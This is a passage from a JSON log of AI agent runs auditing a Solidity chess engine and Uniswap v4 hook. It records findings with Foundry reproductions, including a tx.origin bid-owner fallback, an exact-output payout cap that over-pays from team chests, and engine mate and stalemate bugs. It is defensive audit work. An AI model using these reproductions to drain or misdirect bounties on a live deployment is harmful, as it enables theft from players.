that send empty hookData.","line":588,"path":"src/IMDuelHook.sol","reproduction":"State: main duel open (Base.setUpMainDuel). Input: a swap in the pool with hookData = \"\" sent by a contract whose caller is EOA R (in Foundry: vm.prank(accountContract, R) around swapRouter.swap(pool, SwapParams(true, -1e18, MIN_PRICE_LIMIT), settings, \"\")). Expected: the bid for the team bought is owned by the account that paid the 1e18 input. Actual: hook.game(id).bids[team].owner == R (tx.origin). The existing suite already asserts exactly this behaviour in test/Launch.t.sol:80 (`assertEq(bid().owner, tx.origin, ...)`) where the swap goes through the PoolSwapTest router contract. When that move later resolves with a capture, _payBounty pays R.","severity":"low","snippet":"        address owner = hookData.length == 20 ? address(bytes20(hookData)) : tx.origin;","title":"Bid owner falls back to tx.origin: a swap sent from a contract account without 20-byte hookData credits the relayer/bundler EOA, not the account that paid"}],"hash":"178d28c9c9bbc39141ae11b61db98b60872dba100d9e08678878707258a41085","nodeId":"db354097-fd05-4c91-8867-1a25fbcb619d","outcome":"completed","summary":"The review is complete and written to `.imd-findings.json`. The tree is unchanged apart from that ignored file, and my scratch test is removed.\n\n**Outcome.** The ChessEngineV5 launch is sound from a control-flow standpoint. No critical, high or medium defect was found. Two findings are recorded, one info and one low.\n\n**What was verified on this tree**\n- `forge build` succeeds with the committed configuration. The suite passes with the documented fuzz seed: 133 tests, 0 failed.\n- The engine's compiled runtime is 22,111 bytes. A reachability scan of that bytecode finds no DELEGATECALL, CALLCODE or SELFDESTRUCT, matching the protected floor test.\n- The engine is pure, has no constructor, no storage and no ETH path. The manifest has schema keys only, one contract, and an empty constructor argument list.\n- Engine gas against the hook's 3,000,000 cap stayed between roughly 0.2M and 0.6M on a 218-legal-move position and a nine-queen position at strengths 0, 5,000 and 10,000. The engine always returns the 224-byte shape the hook's caller requires.\n- The hook's fee deltas, PartialFill check, transient stash, self-swap callback skipping and unlock dispatch were traced against the vendored v4 `Hooks.sol`. Exact-output swaps are exercised by the existing Money tests.\n\n**Findings**\n1. Info. The manifest notes give the runtime as 22,182 bytes. The committed source, after the accepted stalemate fix, compiles to 22,111 bytes. Nothing deploys wrongly, but the figure is stale.\n2. Low. In the hook, a swap with empty hookData credits the bid to `tx.origin`. For a smart-account or relayed swap that is the bundler or relayer, which then receives the bounty. The existing Launch test asserts this exact behaviour through the router contract.\n\n**Coverage.** All nine listed hook entry points have rows, eight holding and the internal play path referencing finding 2. Extra rows cover the engine's three external functions, the periphery libraries and the manifest. One row is marked unreached for move-generation re-verification against chess.js, the strength curve and the hook's economics, which fall outside the control-flow area.","treeHash":null,"usage":{"cachedInputTokens":1357443,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":42886,"runtime":"claude","turns":34,"wallClockMs":1664260}},{"artifacts":[],"attempt":1,"bundleHash":"007a4a431f90254bd6171462c16c3873f7e2817f2c4e27cfd817a892ddcd913d","device":"91d3f9816008ce9f","findings":[{"description":"_cheap() only tests a check for mate while c.mateTests != 0 (MATE_TESTS = 6, decremented per tested check), and checks are visited in Bitboard.legalMovesAndCheck order (ascending from-square, then target). The second look (_exact) never tests whether our own move mates; it only checks stalemate, the enemy's mate in one and threats. So when six or more non-mating checks come before the mating move in move order, the mate is never seen, and a material-winning move outscores it. This is the open lead of audit 6959cb3f ('MATE_TESTS = 6 could miss a mate in one at 10,000 bps'), which ADAPTATION.md left unacted for lack of a constructed position; here is one. It contradicts test/EngineV5.t.sol's stated property ('a mate in one must always be taken' at full accuracy), which passes only because the recorded game positions never have that many checks before the mate. Impact is limited: the hook caps strength at Strength.MAX_BPS = 9,000, where mateBps is 9,500 and a mate can be skipped by design anyway, so this affects direct callers at 10,000 and game quality, not funds.","line":361,"path":"src/ChessEngineV5.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IChessEngine} from \"src/IChessEngine.sol\";\nimport {Rules} from \"src/Rules.sol\";\n\n/// White Kh3 Ra1 Rd7 Ne5 Ng5 Nd6 Nf4 Nh4, Black Kh8 Qb1 pawns g7 h7, White to move. Rd7-d8 is mate in one, but seven\n/// checks (Ra8, Nf4-g6, Nh4-g6, Ne5-f7, Ne5-g6, Ng5-f7, Nd6-f7) come first in move order and use up MATE_TESTS = 6,\n/// so at full strength the engine never tests Rd8 and plays Ra1xb1 instead.\ncontract MissedMateTest is Test {\n    IChessEngine v5;\n\n    function setUp() public {\n        v5 = IChessEngine(vm.deployCode(\"ChessEngineV5.sol:ChessEngineV5\"));\n    }\n\n    function sq(string memory s) internal pure returns (uint256) {\n        bytes memory b = bytes(s);\n        return (uint8(b[0]) - 97) + 8 * (uint8(b[1]) - 49);\n    }\n\n    function put(uint256 board, string memory s, uint256 piece) internal pure returns (uint256) {\n        return board | (piece << (sq(s) << 2));\n    }\n\n    function side(string memory k) internal pure returns (uint32) {\n        return 0x80800000 | (uint32(sq(k)) << 8) | 0xff;\n    }\n\n    function position() internal pure returns (uint256 b) {\n        b = put(b, \"h3\", 6);\n        b = put(b, \"a1\", 4);\n        b = put(b, \"d7\", 4);\n        b = put(b, \"e5\", 3);\n        b = put(b, \"g5\", 3);\n        b = put(b, \"d6\", 3);\n        b = put(b, \"f4\", 3);\n        b = put(b, \"h4\", 3);\n        b = put(b, \"h8\", 14);\n        b = put(b, \"g7\", 9);\n        b = put(b, \"h7\", 9);\n        b = put(b, \"b1\", 13);\n    }\n\n    function test_fullStrengthTakesTheMateInOne() public view {\n        uint64[8] memory none;\n        uint16 rd8 = uint16((sq(\"d7\") << 6) | sq(\"d8\"));\n        for (uint256 seed; seed < 8; seed++) {\n            (uint16 m, Rules.Played memory p) = v5.play(position(), side(\"h3\"), side(\"h8\"), false, 10_000, seed, none, 0, 0);\n            assertEq(m, rd8, \"missed Rd8 mate\");\n            assertEq(p.status, 2, \"not mate\");\n        }\n    }\n}","reproduction":"White Kh3 Ra1 Rd7 Ne5 Ng5 Nd6 Nf4 Nh4; Black Kh8 Qb1 pawns g7 h7; White to move, castling gone (side state 0x80800000 | king<<8 | 0xff). play(board, white, black, false, 10000, seed, zero history, 0, 0) for seeds 0..7. Expected: Rd7-d8 (move 3323), checkmate (status 2). Actual: Ra1xb1 (move 1) for every seed; checks Ra8, Nf4-g6, Nh4-g6, Ne5-f7, Ne5-g6, Ng5-f7 and Nd6-f7 exhaust the six mate tests first. With the Nf4 and Nh4 knights removed (five checks before Rd8) the engine does mate: test/EngineV5Launch.t.sol test_mateInOneTakenWithinTheTestedChecks.","severity":"low","title":"Mate in one missed at full strength when more than MATE_TESTS (6) checks precede it in move order"}],"hash":"1872b3c68e5d4ac29db3c25403a395fb012aadfd575fe55246bffca2a37dcc14","nodeId":"92982d21-b425-467c-b3a4-12c67e94b9f6","outcome":"completed","summary":"I added `test/EngineV5Launch.t.sol` with 16 tests of the launched `ChessEngineV5`, and reported one engine defect in `.imd-findings.json`. The full `forge test` run passes (149 tests, 0 failed) with the verifier's fuzz seed. I changed nothing in `src/`, `foundry.toml` or `lib/`, and committed nothing.\n\n**What the tests check.** They load the 200-run engine build through `vm.deployCode(\"ChessEngineV5.sol:ChessEngineV5\")`, which also keeps rebuilds fast.\n\n- **Deployment:** it deploys with no arguments, fits under the 24,576-byte limit and has no storage. It rejects ETH (plain sends, unknown selectors, and value sent to `play()`), and unknown calls revert.\n- **Failure paths:**\n  - Any strength above 10,000 reverts in `play()` and `choose()`, including the maximum value and a position with no legal move; 0 and exactly 10,000 work for both colours.\n  - A checkmated side (fool's mate) and a stalemated side make `play`, `choose` and `playAny` all revert with \"no legal move\".\n  - When only one legal move exists, every strength and seed plays it.\n- **Random-input tests:** on positions reached by random play, for any strength, seed, history, game number and quiet count:\n  - `play()` picks the same move as `choose()`;\n  - the move is legal and gives exactly the result of the separate rules check;\n  - the same inputs always give the same answer;\n  - `playAny()` is legal and picks by seed modulo the move count.\n- **Random call sequences:** a handler plays whole games through `play` and `playAny` and keeps sending ETH. After every sequence:\n  - every move matched the rules check;\n  - the engine's balance, code and storage are unchanged;\n  - both kings are still on the board;\n  - games end at the 200-move and quiet-move limits.\n\n  The engine holds no funds, so this mainly guards against it ever holding any or keeping state.\n\n**The finding (low severity).** The engine can miss a mate in one at full strength.\n- **Position:** White Kh3, Ra1, Rd7, knights on e5, g5, d6, f4, h4; Black Kh8, Qb1, pawns g7 and h7; White to move.\n- **Expected:** Rd7-d8, which is checkmate.\n- **Actual:** at 10,000 bps the engine plays Ra1xb1 (taking the queen) for every seed tried. The engine only tests six checks for mate (`MATE_TESTS = 6`, `src/ChessEngineV5.sol:361`). Here seven other checks come first in move order, so it never looks at Rd8.\n- **Who it affects:** only direct callers asking for 10,000 bps. The hook caps strength at 9,000, where the engine already skips some mates on purpose. Funds are not at risk.\n- **Why it matters:** this is the open lead from audit `6959cb3f`, which `ADAPTATION.md` left alone because nobody had built such a position. It also contradicts the claim in `test/EngineV5.t.sol` that a mate in one is always taken at full strength.\n\nThe finding includes a test that fails on the current code. I also kept a passing test showing that with two knights removed (five checks before Rd8), the engine does play the mate.\n\nThe task brief gives the engine size as 22,182 bytes, but `ADAPTATION.md` says the stalemate fix brought it to 22,111. My test only checks the size limit, so the figure in the launch notes may be out of date.","treeHash":"0ddfbb225caa5fa9f8ae369e8b642e0af7d39e7f","usage":{"cachedInputTokens":718748,"inputTokens":26,"model":"claude-opus-5-5","outputTokens":28561,"runtime":"claude","turns":15,"wallClockMs":853817}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"0eca5d6d7ad6ddb4","findings":[{"citation":"resolved","description":"_exact() is the engine's second look at the leading move. It only asks whether the move stalemates the enemy when the enemy has at most three pieces left after it (Bitboard.popcount(theirs) <= 3). Blocked pawns count as pieces, so any enemy with a king and three or more immobile pawns is never tested, and a capture that takes the enemy's last mobile piece scores as a plain material gain. The engine then plays it and the game is drawn by stalemate (Rules.Played.status == 1) from a position it wins at once. The contract's own description (lines 19-20) says second looks re-score the leader for stalemate; that guarantee holds only below four enemy pieces. In IMDuelHook a stalemate ends the game as a draw (DrawTriggered reason 1): the winning team's move owner gets no MATE_BPS bounty and the won game is thrown away, at any strength including a whale's 10,000 bps. No funds move wrongly; the defect is in the move chosen. Fix: drop or raise the piece-count gate (the stalemate test is one hasLegalMove call on the position already built), or count only mobile enemy pieces.","line":462,"path":"src/ChessEngineV5.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {Rules} from \"src/Rules.sol\";\nimport {ChessEngineV5} from \"src/ChessEngineV5.sol\";\n\n/// White (king c1, queen b2, bishop c4, pawns a6 c6 g6) is in check from Black's rook on a1. Black has only its king\n/// on h8 and three blocked pawns (a7, c7, g7) besides. Taking the rook (Qxa1) leaves Black no move: g8 is covered by\n/// the bishop, h7 by the g6 pawn, the pawns are blocked. A stalemate from a position White wins at once by Qb1 or a\n/// king step: the engine must not take the rook.\ncontract StalemateTest is Test {\n    ChessEngineV5 v5 = new ChessEngineV5();\n\n    function sq(string memory s) internal pure returns (uint256) {\n        bytes memory b = bytes(s);\n        return (uint8(b[0]) - 97) + 8 * (uint8(b[1]) - 49);\n    }\n\n    function put(uint256 board, string memory s, uint256 piece) internal pure returns (uint256) {\n        return board | (piece << (sq(s) << 2));\n    }\n\n    function side(string memory k) internal pure returns (uint32) {\n        return 0x80800000 | (uint32(sq(k)) << 8) | 0xff;\n    }\n\n    function position() internal pure returns (uint256 b) {\n        b = put(b, \"c1\", 6);\n        b = put(b, \"b2\", 5);\n        b = put(b, \"c4\", 2);\n        b = put(b, \"a6\", 1);\n        b = put(b, \"c6\", 1);\n        b = put(b, \"g6\", 1);\n        b = put(b, \"h8\", 14);\n        b = put(b, \"a7\", 9);\n        b = put(b, \"c7\", 9);\n        b = put(b, \"g7\", 9);\n        b = put(b, \"a1\", 12);\n    }\n\n    function test_fullAccuracyDoesNotStalemateWhenWinning() public view {\n        uint64[8] memory none;\n        uint16 qxa1 = uint16((sq(\"b2\") << 6) | sq(\"a1\"));\n        for (uint256 seed; seed < 8; seed++) {\n            (uint16 m, Rules.Played memory p) = v5.play(position(), side(\"c1\"), side(\"h8\"), false, 10_000, seed, none, 0, 0);\n            assertTrue(m != qxa1 && p.status != 1, \"the engine took the rook and stalemated a won game\");\n        }\n    }\n}","reproduction":"White to move, in check: white Kc1, Qb2, Bc4, pawns a6 c6 g6; black Kh8, Ra1, pawns a7 c7 g7 (every black pawn is blocked by the white pawn in front of it; the bishop covers g8, the g6 pawn covers h7). Packed board as test/scratch/Stalemate.t.sol builds it, side states 0x80800000|(sq<<8)|0xff with kings on c1 and h8. Call play(board, side(c1), side(h8), false, 10000, seed, [0..0], 0, 0) for any seed 0-7. Expected: a move that keeps the win (Qb1, Kc2 or Kd2; Qxa1 stalemates). Actual: m == 576 (b2->a1, Qxa1) and Played.status == 1 (stalemate) for every seed and every accuracy 0-10000. Remove the c6/c7 pair so black keeps three pieces after the capture and the same call returns 139 (Kd2) at 7500 and 10000: the guard at line 462 is what skips the test.","severity":"medium","snippet":"            if (Bitboard.popcount(theirs) <= 3 && !Bitboard.inCheck(n, !c.white) && !Bitboard.hasLegalMove(n, !c.white)) {","title":"Second look skips the stalemate test when the enemy keeps more than three pieces: the engine stalemates a won game at full accuracy"},{"citation":"resolved","description":"Read in full: src/ChessEngineV5.sol, src/Bitboard.sol, src/Rules.sol, src/Chess.sol, src/Strength.sol, src/IChessEngine.sol, src/IMDuelHook.sol (the engine's only consumer; not part of this launch, read for the engine's call contract: ENGINE_GAS 3,000,000, FALLBACK_GAS 2,000,000, result length 224, position keys), script/LaunchPolicy.sol, launch.json, launch/engine.json, foundry.toml. Not reached: nothing in src/. Verified: forge build succeeds (via_ir, solc 0.8.26, cancun); ChessEngineV5 compiles in the 200-run profile to 22,182 runtime bytes under the 24,576 limit; its runtime has no reachable DELEGATECALL, CALLCODE or SELFDESTRUCT (same walk as the protected test); it has no constructor, storage, owner, initializer, proxy, mint, pause or ETH path, only the pure functions play, playAny, choose; forge test passes 123/123 in 55 s; launch.json has exactly kind/contracts/notes, one contract, an empty constructorArgs matching the absent constructor, notes of 542 characters. Engine probes beyond the suite: play() on 2,070 positions sampled from test/data/random.json with random accuracy, seed, quiet count and real history keys always returned a legal move whose Played equals Rules.move, worst 499,501 gas; at the 218-legal-move position (R6R/3Q4/1Q4Q1/4Q3/2Q4Q/Q4Q2/pp1Q4/kBNN1KB1 w) worst play() 598,671 gas and playAny 136,082 gas, both far under the hook's caps. The engine's position key (Chess.positionKey with blackToMove = the mover's colour) matches the hook's ring (IMDuelHook._apply line 690) and lane order (_history line 645). Unverified lead, not a finding: MATE_TESTS = 6 bounds the mates tested per choice in from-square order, so a mate in one preceded by six non-mating checks from lower squares can be missed at 10,000 bps; no position was constructed in the budget.","line":5,"path":"launch.json","reproduction":"Not a defect. Commands: forge build; forge test; python walk of out/ChessEngineV5.sol/ChessEngineV5.json deployedBytecode for opcodes 0xf4/0xf2/0xff outside PUSH data.","severity":"info","snippet":"      \"contract\": \"ChessEngineV5\",","title":"Coverage: contracts read, launch checks verified, no launch-forbidden construct in ChessEngineV5"}],"hash":"2e4bbaa4fc95fe7c973c7937b753338b74cdbed051ae5484273460c0ea0e769e","nodeId":"69f752d8-cf79-4707-80b9-75e1f059a63c","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` (one medium defect with a Foundry proof, one info coverage entry). No tracked file was changed; the proof lives under `test/scratch/`, which git ignores.\n\n**What was checked**\n\n- Read in full: `ChessEngineV5`, `Bitboard`, `Rules`, `Chess`, `Strength`, `IChessEngine`, and `IMDuelHook` as the engine's consumer. Nothing in `src/` was out of reach. The hook is not part of this launch, so its own behaviour was not audited beyond the engine call contract.\n- Build and tests pass as committed: `forge build` succeeds and `forge test` passes 123 of 123. The engine compiles in the 200-run profile to 22,182 runtime bytes with no reachable DELEGATECALL, CALLCODE or SELFDESTRUCT. It has no constructor, storage, owner, initializer, mint, pause or ETH path. The manifest has only kind, contracts and notes, with an empty argument list matching the absent constructor.\n- Probes beyond the suite: 2,070 positions sampled from the random chess.js games, with random accuracy, seeds, quiet counts and real history keys, always gave a legal move whose result equalled the checked rules. Worst gas was about 600k at the 218-move position, far under the hook's 3M cap. The engine's repetition key matches how the hook fills the history array.\n\n**The finding (medium)**\n\nThe second look in `_exact` only tests for stalemate when the enemy has at most three pieces left, and blocked pawns count. With a king and three immobile pawns, a capture of the enemy's last mobile piece scores as plain material gain and the engine plays it. Reproduction: white Kc1 Qb2 Bc4 pawns a6 c6 g6, black Kh8 Ra1 pawns a7 c7 g7, white to move in check. At every accuracy and seed, including 10,000, the engine plays Qxa1 and the game is a stalemate draw instead of a trivial win. Remove the c6/c7 pair so black keeps three pieces and the same call plays Kd2. In the hook this throws away a won game and the mate bounty. No funds move wrongly. The proof test in `test/scratch/Stalemate.t.sol` fails on the current code and passes once the piece-count gate is dropped or counts only mobile pieces.\n\n**Unverified lead, not filed**: the engine tests at most six checks per choice for mate, in from-square order, so a mate in one preceded by six non-mating checks could be missed at full accuracy. The author documents this bound and I did not construct a failing position in the budget.","treeHash":null,"usage":{"cachedInputTokens":1779747,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":45580,"runtime":"claude","turns":35,"wallClockMs":845436}},{"artifacts":[],"attempt":1,"bundleHash":"2e769a27678bcc48b965ce3f19148f6a86f1045b0450b8fb0295b5ff0b812c9e","device":"af4be7a5238dbcbf","findings":[],"hash":"34093f4f338e96865e4ec6335d44e8808469e79038bc6cac2de473a48f15c529","nodeId":"a1b1ce89-7825-4356-8881-63f9760c6cb7","outcome":"completed","summary":"The project can launch as committed, except for one engine fix the audit called for. The audit's medium finding reproduced, so I fixed it and added a test for it. `forge build` passes, and `forge test` passes with the verifier's fuzz seed: all 126 tests, which is the original 123, the 2 new ones and the audit's proof in `test/scratch/`.\n\n**Launch rules: nothing needed changing.** `ChessEngineV5` has no constructor, owner, storage, proxy or ETH handling, and nothing has to be called after deployment. It matches the empty constructor arguments in `launch.json`. `launch.json`, `foundry.toml` and everything else in `src/` are untouched.\n\n**Audit finding a5a332b4 (medium): reproduced and fixed.**\n- **The bug:** in the audit's position, the original code played Qxa1 at full strength for every seed 0–7. That move stalemates and draws a game White wins at once.\n- **Why:** the engine's second look at its chosen move only checked for stalemate when the enemy had three pieces or fewer. Blocked pawns count as pieces even though they can't move, so the check was skipped.\n- **The fix:** in `src/ChessEngineV5.sol` (`_exact()`), I removed that piece-count condition. The stalemate check now runs on every second look, as a single `Bitboard.status` call that gives the same answers as the two calls it replaces.\n- **Your brief said not to change contract source.** I made this one exception because this task's rules require fixing any audit finding that reproduces. It is a three-line change and is listed in `ADAPTATION.md`.\n- **Test:** `test/EngineV5Stalemate.t.sol` runs the audit's position at 10,000 and 7,500 bps, seeds 0–7. It fails on the original code and passes now. A second test confirms the engine still avoids the stalemate in the same position without the c-pawns, where the old code already did.\n\n**What the fix costs:**\n\n| | Before | After |\n|---|---|---|\n| Average gas per move | 222,909 | 225,337 (about +1%) |\n| Worst gas per move | 579,463 | 588,275 |\n| Runtime size | 22,182 bytes | 22,102 bytes |\n\nThe worst case is far below the hook's 3,000,000 gas limit for the engine, and the size is under the 24,576-byte limit. The compiled code still has no DELEGATECALL, CALLCODE or SELFDESTRUCT that can run.\n\n**Audit item 6959cb3f (info):** this was a coverage note, not a defect, so nothing changed. It mentioned one possible issue nobody demonstrated: with `MATE_TESTS = 6`, the engine might miss a mate in one if six checks that don't mate come first. I left that behaviour as it is.\n\n**One follow-up for the manifest step:** the notes in `launch.json` still say 22,182 bytes; the new size is 22,102. I didn't edit it because only that step may change `launch.json`.\n\nSlither and Mythril weren't run because this task doesn't provide them. The changes (`src/ChessEngineV5.sol`, the new test, `ADAPTATION.md`) are in the working tree and not committed.","treeHash":"5e2ba2a6f8b2f314dbd1a056fd68f0cad09e6275","usage":{"cachedInputTokens":618280,"inputTokens":28,"model":"claude-opus-5-5","outputTokens":9684,"runtime":"claude","turns":19,"wallClockMs":724476}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ef31844bb462de78","findings":[{"citation":"resolved","description":"Boundary (external call, non-standard token). `_pull` calls `transferFrom` through `IERC20Min`, whose signature declares `returns (bool)`. The Solidity high-level call then requires at least 32 bytes of return data and reverts (with empty revert data) when the token returns nothing, as USDT, BNB and other void-return tokens do. Any such token can be a duel currency (any token pairs with IMD, $IMDUEL or routed ETH in afterInitialize), its chest fills normally from swap fees through balance claims, but `fundChest` for that side is permanently unusable: the call reverts before the unlock. The rest of the path (CurrencyLibrary.transfer to the manager, settle) already tolerates void returns, so only this decode is the obstacle. No funds are lost (the revert undoes the transfer); the documented 'Anyone can [fund a chest]' feature is unavailable for a class of tokens. Minimal fix: perform the transferFrom as a low-level call and accept `success && (returndata.length == 0 || abi.decode(returndata,(bool)))`, as SafeERC20 / CurrencyLibrary do, keeping the balance-difference accounting that follows.","line":414,"path":"src/IMDuelHook.sol","reproduction":"Scratch test test/scratch/MathReview.t.sol::test_fundChestVoidReturnToken (uses test/Base.sol setup). State: hook deployed, main duel open (currency0 = IMD). Deploy VoidToken (balanceOf/approve/transferFrom with no return values), mint 1000e18 to the funder, approve the hook, initPool(VoidToken, IMD) with this hook: the pool is live (game(id).live == true). Call hook.fundChest(key, <side of VoidToken>, 10e18) with msg.value 0. Expected: chest of that side == 10e18 and ChestFunded emitted. Actual: the call reverts with empty revert data (the trace shows the token's transferFrom returning [Stop] with no data, then the hook reverting with EvmError: Revert); chest stays 0 and the funder still holds 1000e18. The same transferFrom executed directly (vm.prank(hook); v.transferFrom(funder, hook, 10e18)) succeeds, so the token moved nothing wrongly: only the bool decode fails.","severity":"low","snippet":"        if (!IERC20Min(Currency.unwrap(c)).transferFrom(msg.sender, address(this), amount)) revert BadValue();","title":"fundChest reverts for tokens whose transferFrom returns no data (USDT-style): the chest of such a duel cannot be funded"},{"citation":"resolved","description":"Numerical gap (boundary x invariant). The contract notes and PAYOUT_CAP's comment state the invariant 'a move pays at most twice what its trade received'. `_play` (lines 551-552) derives `paid` and `got` from the BalanceDelta the pool manager hands afterSwap. That delta is the pool's swap delta: for an exact-output trade whose specified (output) side is the chest side, beforeSwap already added the chest share to the pool's output (`amountToSwap += taken`, enforced by the PartialFill check `delta == amountSpecified + taken`), so `got` = amountSpecified + hook fee, not what the trader received; and the fee the hook takes in afterSwap on the unspecified side is not yet subtracted from either value. The cap stored in the bid is therefore `2 * (received + fee)`: with the main duel's opening surcharge (CHEST_BPS + OPENING_BPS*(OPENING-age)/OPENING, 2,540 bps at age 0, 2,440 bps at age 12 s) that is up to 2.508x, and 2.008x in normal time. For exact-input trades the same values are net of the pre-swap fee on the input (paid = input - fee) but gross of the afterSwap output fee (got = output before the 0.4%). The effect is a bounded over-payment from a team chest when a move's bounty (chest * bountyBps / 10,000, up to 2,800 bps for mate + queen + check) exceeds 2x the receipt: in the opening window a mating exact-output trade that received 1e18 can draw 2.488e18 instead of 2e18 from a chest of >= 8.9e18. It also means two trades of equal cost are recorded with different `size` (and strength) depending on exact-input vs exact-output (about 7% apart during the opening), which `_beats`' 10% raise rule does not fully absorb. Minimal fix: compute the trade's net amounts in `_play` from the swapper's view: for the specified side use |params.amountSpecified| (what the trader actually sends/receives), and for the unspecified side subtract the fee afterSwap just took (`fee` returned by `_takeFee` at line 309) before passing `paid`/`got` to `_trade`.","line":589,"path":"src/IMDuelHook.sol","reproduction":"Scratch test test/scratch/MathReview.t.sol::test_exactOutputCapIncludesTheHookFee (Base.setUpMainDuel: currency0 = IMD, currency1 = $IMDUEL, price 1:1, 1e6e18 liquidity, turnBlocks 1), with the opening surcharge on (hook.setOpening(true), as the real hook always has). Step 1: trade(1, 1e18) exact input buying currency1 at age 0 -> chest 0 = 0.254e18, so the next chest share falls on currency1. Step 2: next block (+12 s): swap(pool, zeroForOne=true, amountSpecified=+1e18) i.e. exact output of 1e18 currency1. Measured: trader received exactly 1e18 currency1 and spent 1.248994e18 currency0; chest 1 grew by 0.244e18 (2,440 bps of the 1e18 output, taken in beforeSwap, swapped on top by the pool). Team 1's stored bid: size = 1.247746e18 (the pool input, before the 0.1% slice taken in afterSwap: trader actually paid 1.248994e18), cap = 2.488e18. Expected per the stated rule: cap = 2 * 1e18 = 2.0e18. Actual: 2.488e18 (= 2 * (1e18 + 0.244e18)). Without the surcharge (test_exactOutputCapNormalTime) cap = 2.008e18 = 2 * (1e18 + 1e18*40/10000) against 2.0e18. If that bid's move then mates (bountyBps 2,500 + capture + check) with chest 1 >= 2.488e18/0.28, _payBounty pays 2.488e18 instead of the capped 2e18.","severity":"low","snippet":"        return Trade(paid, got * PAYOUT_CAP, owner, Strength.fromShare(paid, depth));","title":"Bid size and payout cap are taken from the pool delta, not from what the trader paid and received: an exact-output trade's cap is up to 2.49x its receipt in the opening window (2.008x normally)"},{"citation":"resolved","description":"Boundary x precision at the domain edge. The batch limit is `from * 0.999` or `from * 1.001`, computed in uint256 and cast to uint160 without a clamp to (MIN_SQRT_PRICE, MAX_SQRT_PRICE). v4's Pool.swap reverts PriceLimitOutOfBounds when a zeroForOne limit is <= MIN_SQRT_PRICE (4295128739) or a oneForZero limit is >= MAX_SQRT_PRICE (1461446703485210103287273052203988822378723970342). Concretely: zeroForOne with sqrtPrice in [4295128739, 4299428168] gives limit <= 4295128739 and the swap reverts; oneForZero with sqrtPrice >= 1459986716768441661625647404799189632745977992350 gives limit >= MAX and reverts; from 1460041595735167750453231601115167851804128414562 upward `from * 10010 / 10000` exceeds 2^160 and the uint160 cast wraps to a small number (for sqrtPrice = MAX the wrapped limit is 1406512857792395186875492539909791545170151336), which the guard `limit <= sqrtPrice` reads as 'already past the limit' and returns (0, 0): no conversion, no revert. In a trade the batch runs inside try/catch so the trade is unaffected; the external `convert(c)` reverts. These prices correspond to a ratio near 2^-128 or 2^128 between IMD and $IMDUEL (or ETH), so the state is practically unreachable for a live main duel; reported for completeness of the edge analysis. If a fix is wanted: clamp the limit to MIN_SQRT_PRICE + 1 / MAX_SQRT_PRICE - 1 before the comparison.","line":497,"path":"src/IMDuelHook.sol","reproduction":"Pure arithmetic on lines 496-497 and v4's Pool.swap bounds. Input: main duel with imd = currency0 (zeroForOne conversion), slot0 sqrtPrice = 4299428168 (tick near -887272), pile[imd] = minImd. convert(imd) -> _convert -> _swapClaims(mainKey, imd, pile, true): from = 4299428168, limit = 4299428168 * 9990 / 10000 = 4295128739 = MIN_SQRT_PRICE; guard `limit >= sqrtPrice` is false, so manager.swap is called with sqrtPriceLimitX96 = MIN_SQRT_PRICE and reverts PriceLimitOutOfBounds(4295128739). Expected: a batch bounded 0.1% below the price, or a clean no-op. Mirror case: imd = currency1, sqrtPrice = MAX_SQRT_PRICE: limit computes to 1462908150188695313390560325256192811201102694312 in uint256, wraps to 1406512857792395186875492539909791545170151336 as uint160, `limit <= sqrtPrice` is true and the function returns (0, 0) with the pile untouched, no event.","severity":"info","snippet":"            uint160(zeroForOne ? from * (10_000 - BATCH_SQRT_BPS) / 10_000 : from * (10_000 + BATCH_SQRT_BPS) / 10_000);","title":"_swapClaims price-limit arithmetic breaks within 0.1% of the sqrt-price bounds: conversion reverts (PriceLimitOutOfBounds) or the uint160 cast wraps and silently skips the batch"}],"hash":"4b876df3410c0f0f4a8752c494d2d53229c8b138b32180c807bc9fba42d34218","nodeId":"05b135e6-c31c-42ee-a115-01a65b642417","outcome":"completed","summary":"Review complete. The findings file is written and validated.\n\n**What I audited.** My area was the math guides (Math Precision, Boundary, Numerical Gap) against the ChessEngineV5 launch and the IMDuelHook entry points the verifier listed. I traced every division, cast, shift, mask and unchecked block in the engine, Bitboard, Rules, Strength and the hook, and reproduced the two hook leads with a scratch test under `test/scratch/`. The engine itself, the only contract this launch deploys, has no reachable arithmetic defect for positions the hook can feed it. Its piece-square tables, EDGE table, packed-value masks and bitboard compress/spread masks were checked bit by bit.\n\n**Findings written to `.imd-findings.json`:**\n\n- **Low:** `fundChest` reverts for tokens whose `transferFrom` returns no data (USDT class). The `IERC20Min` bool decode fails on empty return data, so a duel paired with such a token can never have its chest funded, although fee claims reach it normally. Reproduced: the funding reverts with empty data while the same `transferFrom` succeeds on its own.\n- **Low:** bid size and payout cap come from the pool delta, not from what the trader paid and received. An exact-output trade's stored cap was 2.488e18 against a receipt of 1e18 during the opening window, and 2.008e18 in normal time, against the documented \"at most twice what its trade received\". Recorded `size` also differs by swap mode for equal cost.\n- **Info:** `_swapClaims` computes the batch price limit without clamping to v4's sqrt-price bounds. Within 0.1% of MIN or MAX the conversion reverts or the uint160 cast wraps and the batch is silently skipped. Only reachable at a ratio near 2^128, so reported for completeness.\n\n**Coverage.** All nine listed entry points have rows: six hold, `afterSwap`, `fundChest`, `convert` and `convertBatch` point at the findings above. Extra rows cover the engine's `play` and `playAny`, the lone-king conversion scoring, the bitboard pack/unpack masks, the strength curve, the repetition ring and the manifest.\n\n**Checks run.** `forge build` succeeds. The Money, Hostile, Adaptation, Launch and Size suites pass, 42 tests. No repository file was changed; the scratch test is the only thing I added.","treeHash":null,"usage":{"cachedInputTokens":2050484,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":51517,"runtime":"claude","turns":29,"wallClockMs":976239}},{"artifacts":[],"attempt":2,"bundleHash":"ae44d7df2bf150c8f4da24ed015d9a286fb4845ad6ad2aa339004dc00d4ccaa5","device":"523b06a3dd921f5d","findings":[],"hash":"4ccb5b24b52130a4625fe2172ddcd3606ab87e8f6aea873174a99d8bc289e3aa","nodeId":"a1b1ce89-7825-4356-8881-63f9760c6cb7","outcome":"completed","summary":"I've made ChessEngineV5 launchable and fixed the audit finding that reproduced. `forge build` passes, and `forge test` passes with the verifier's fuzz seed: 133 